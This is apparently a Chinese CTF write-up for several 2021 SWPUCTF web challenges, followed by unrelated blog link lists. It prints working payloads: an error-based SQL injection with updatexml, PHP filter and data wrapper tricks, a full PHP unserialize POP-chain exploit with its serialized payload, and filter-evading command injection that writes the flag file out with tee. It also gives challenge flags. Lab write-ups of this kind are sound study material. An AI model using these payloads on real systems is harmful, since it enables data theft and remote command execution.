error

双引号没有提示的注入,,那就是报错注入了,肯定是个恶心的东西呜呜呜


?id=1' and updatexml(1,concat(0x7e,(select right(flag,30) from test_tb),0x7e),1)--+

就这么爆叭太麻烦了呜呜

PseudoProtocols

直接让找hint.php直接访问不能够直接显示出源代码

emmm看题目名字应该是考察伪协议,那就直接伪协议读取hint.php

/index.php?wllm=php://filter/convert.base64-encode/resource=hint.php

解码

这里就自然想到了php伪协议data写入

/test2222222222222.php?a=data://text/plain,I want flag

NSSCTF{05167c8e-75fc-4e61-9d7d-5a5308e5ae7d}

pop

就是一个链子

 <?php

error_reporting(0);
show_source("index.php"); class w44m{ private $admin = 'aaa';
protected $passwd = '123456'; public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
} class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
} class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
} $w00m = $_GET['w00m'];
unserialize($w00m); ?>

分析一下,程序首先会调用__destruct()方法,然后echo会调用到__toString(),这里如果将w00m为w44m,w22m为Getflag,这是就会调用到Getflag

需要注意的是要把上面的123换成08067

poc

<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067'; public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
} class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
} class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
} $a=new w44m();
$b=new w22m();
$c=new w33m(); $b->w00m=$c;
$c->w00m=$a;
$c->w22m="Getflag"; echo urlencode(serialize($b));

payload

O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

NSSCTF{5357c0e5-2282-4992-8b6d-2261ac6a645b}

finalrce

啊这

exec是没有回显的,所以想办法回显,我试了好多次反弹shell,但是无济于事hhhban了nc(没看到

然后好像是可以写进文件里面然后访问文件,利用tee

payload1:

/?url=l\s /|tee 1.txt

然后访问1.txt

读取flag!

payload2:

/?url=tac /flllll\aaaaaaggggggg|tee 2.txt

NSSCTF{2a5d2df8-8b5f-476c-b83a-4b4c165666bc}

hardrce_3

用的是网上巴拉的自增payload

https://blog.csdn.net/miuzzx/article/details/109143413

不懂为啥,以后进行补充学习

2021SWPUCTF-WEB(三)的更多相关文章

  1. Atitit.web三编程模型 Web Page Web Forms 和 MVC

    Atitit.web三编程模型 Web Page    Web Forms 和 MVC 1. 编程模型是 Web Forms 和 MVC (Model, View, Controller). 2. W ...

  2. (Frontend Newbie)Web三要素(三)

    上一篇简单介绍了Web三要素中的层叠样式表,本篇主要介绍三要素中最后一个,也是最难掌握的一个-----JavaScript. JavaScript 老规矩不能破,先简要交代 JavaScript 的历 ...

  3. (Frontend Newbie)Web三要素(二)

    上一篇简单介绍了HTML的基本知识以及一些在开发学习过程中容易忽视的知识点,本篇介绍Web三要素中另一个重要组成部分----层叠样式表(Cascading Style Sheets). CSS 按照一 ...

  4. (Frontend Newbie) Web三要素(一)

    上一篇简单了解了Web发展的简要历史,本篇简单介绍前端开发的基本三要素:HTML.CSS.JavaScript中的HTML以及一些在开发.学习过程中易被忽视的知识点. HTML HTML全称是超文本标 ...

  5. java web(三) Tomcat虚拟目录映射方式

    Tomact服务器虚拟目录的映射方式 web应用开发好后若想被外界访问,需要将web应用所在的目录交给web服务器管理,这个过程称为虚拟目录的映射. 方式一:在server.xml文件的host元素中 ...

  6. Java Web(三) 会话机制,Cookie和Session详解

    很大一部分应该知道什么是会话机制,也能说的出几句,我也大概了解一点,但是学了之后几天不用,立马忘的一干二净,原因可能是没能好好理解这两种会话机制,所以会一直遗忘,一直重新回过头来学习它,今天好好把他总 ...

  7. java web(三):ServletContext、session、ServletConfig、request、response对象

    上一篇讲了Servlet: 1)什么是Servlet[servlet本身就是一种Java类,这种Java类提供了web形式的方法,只要实现了servlet接口的类,都是一种servlet资源.] 2) ...

  8. Java Web(三) 会话机制,Cookie和Session详解(转载)

    https://www.cnblogs.com/whgk/p/6422391.html 很大一部分应该知道什么是会话机制,也能说的出几句,我也大概了解一点,但是学了之后几天不用,立马忘的一干二净,原因 ...

  9. Java Web(三) Servlet会话管理

    会话跟踪 什么是会话? 可简单理解为,用户打开一个浏览器,点击多个超链接,访问服务器多个web资源,然后关闭服务器,整个过程称为一个会话.从特定客户端到服务器的一系列请求称为会话.记录会话信息的技术称 ...

  10. Lottie在手,动画我有:ios/Android/Web三端复杂帧动画解决方案

      为什么需要Lottie 在相对复杂的移动端应用中,我们可能会需要使用到复杂的帧动画.例如: 刚进入APP时候可能会看到的入场小动画,带来愉悦的视觉享受 许多Icon的互动变化比较复杂多变的时候,研 ...

随机推荐

  1. Qt中的线程编程

    在基于操作系统的程序设计中,在处理多任务时,可以有多种方法,但效率较高的当属线程方式,下面就来讨论一下在Qt中如何实现线程编程. 先来说一下什么是线程.线程(thread)是操作系统能够进行运算调度的 ...

  2. Pr视频软件主要知识点

    1,选中某一个面板,点击"Tab键上的 '波浪号' 键"即可将这个面板全屏展示  . 2,新建序列项目:自定义,25帧/s,方形像素,无场(逐行扫描). 3,序列面板素材自动缩放适 ...

  3. React 事件绑定this指向

    1. 推荐:使用class的实例方法 class Hello extends React.Component { handleClick = () => { this.setState({ .. ...

  4. ansible-file

    path参数 :必须参数,用于指定要操作的文件或目录,在之前版本的ansible中,使用dest参数或者name参数指定要操作的文件或目录,为了兼容之前的版本,使用dest或name也可以. stat ...

  5. canvas 模糊

    让style以50%的效果展示 创建2倍的canvas <!DOCTYPE html> <html> <head> <meta charset="u ...

  6. 2021/9/26 Leetcode 两数之和

    题目:给你两个整数 a 和 b ,不使用 运算符 + 和 - ​​​​​​​,计算并返回两整数之和. int getSum(int a, int b) { while(b != 0){ unsigne ...

  7. 08 学生课程分数的Spark SQL分析

    读学生课程分数文件chapter4-data01.txt,创建DataFrame. 用DataFrame的操作或SQL语句完成以下数据分析要求,并和用RDD操作的实现进行对比: 每个分数+5分. 总共 ...

  8. ZSTUOJ平台刷题⑤:Problem G.--深入浅出学算法023-旋转数阵

    Problem G: 深入浅出学算法023-旋转数阵 Time Limit: 1 Sec  Memory Limit: 64 MBSubmit: 4794  Solved: 955 Descripti ...

  9. NIO基本介绍

    同步和异步,同步指的是应用程序会直接参与IO读写操作,用阻塞或者长轮询的方式来获取数据.异步指的是IO交给操作系统,完成IO读写后通知程序,程序直接拿走数据. BIO:同步阻塞式IO,服务器实现模式为 ...

  10. 1903021126-申文骏 实验一 19信计java-Markdown排版

    项目 内容 课程班级博客链接 19级信计班 作业要求链接 实验一 课程学习目标 大致学会Markdown排版 任务1:在博客园平台注册个人博客账号和加入班级博客 注册了博客园的个人账号,提交了博客申请 ...